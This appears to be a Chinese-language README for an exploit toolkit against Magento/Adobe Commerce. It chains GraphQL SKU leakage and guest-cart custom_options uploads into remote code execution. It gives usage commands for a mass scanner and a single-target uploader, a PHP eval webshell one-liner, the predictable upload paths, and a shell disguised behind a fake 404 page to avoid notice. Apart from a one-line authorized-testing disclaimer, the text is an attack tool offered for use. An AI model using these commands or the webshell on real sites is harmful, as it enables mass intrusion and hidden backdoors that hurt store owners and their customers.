Magento APSB25-94 未授权文件上传到RCE (CVE-2026-XXXX) - Eval Shell + Probe Scanner
利用 Magento / Adobe Commerce 中通过 REST API 访客购物车的 custom_options 文件上传功能实现的未授权文件上传。
1. GraphQL → 泄漏产品 SKU
2. REST API → 创建访客购物车
3. REST API → 通过 custom_options file_info 上传 PNG 多态 shell
4. HTTP GET → 以可预测路径访问 .php 文件
5. PHP exec → 远程代码执行
magento_godzilla.py — 批量扫描器两阶段上传:探测文件(WAF 安全)+ 评估 shell(404 伪装)。
pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt
输出:RCE_CONFIRMED、、
SHELL_KILLEDPROBE_ONLYmagento_upload.py — 单目标上传python magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw
/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}
GET 请求返回虚假的 404(HTTP 200 + 内容为 "Not Found")。携带密码参数的 POST 请求执行代码。
仅限授权安全测试使用。